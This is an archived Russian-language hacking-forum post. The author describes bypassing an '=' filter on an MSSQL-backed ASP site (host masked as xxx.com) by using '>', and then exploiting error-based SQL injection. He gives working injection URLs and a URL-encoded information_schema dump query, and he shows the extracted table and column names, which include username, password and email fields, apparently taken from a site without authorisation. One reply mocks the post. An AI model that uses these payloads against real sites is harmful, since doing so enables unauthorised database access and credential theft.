PDA

Просмотр полной версии : маленько дополнение по mssql


durito
15.01.2012, 20:14
сегодня ковырял один сайт и наткнулся на интересную фильтрацию в mssql


Code:
http://www.xxx.com/index.asp?id=11'+or+1=@@version--

выдает -

Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near '@@version'.

при таком:


Code:
http://www.xxx.com/index.asp?id=11+or+1=@@version--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value '11 or 1@@version--' to data type int.

видим, что вырезается знак =

обходится это просто добавлением знака >


Code:
http://www.xxx.com/index.asp?id=11+or+1>@@version--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int.

видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку


Code:
http://www.xxx.com/index.asp?id=11'+or+1>@@version--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.

и то что доктор прописал

Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется

подумав немного а составил следующий запрос для дампера:


Code:
http://www.xxx.com/index.asp?id=11'+or+1%3E%28select+top+1+cast%28tab le_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_n ame+as+nvarchar%29+from+information_schema.columns +where+cast%28table_name+as+nvarchar%29%2B%27:%27% 2Bcast%28column_name+as+nvarchar%29+not+in+%28sele ct+top+5+cast%28table_name+as+nvarchar%29%2B%27:%2 7%2Bcast%28column_name+as+nvarchar%29+from+informa tion_schema.columns%29%29--

который объединил вывод таблиц и полей:

livesupportfirm:ID

livesupportfirm:idfirma

livesupportfirm:name

livesupportfirm:username

livesupportfirmassword

livesupportfirm:status

livesupportfirm:email

livesupport:ID

З.Ы. америку тут я не открыл, но может кому инфа пригодится

durito

Boolean
16.01.2012, 14:29
Слушай, может книгу напишешь?

И автограф бы еще.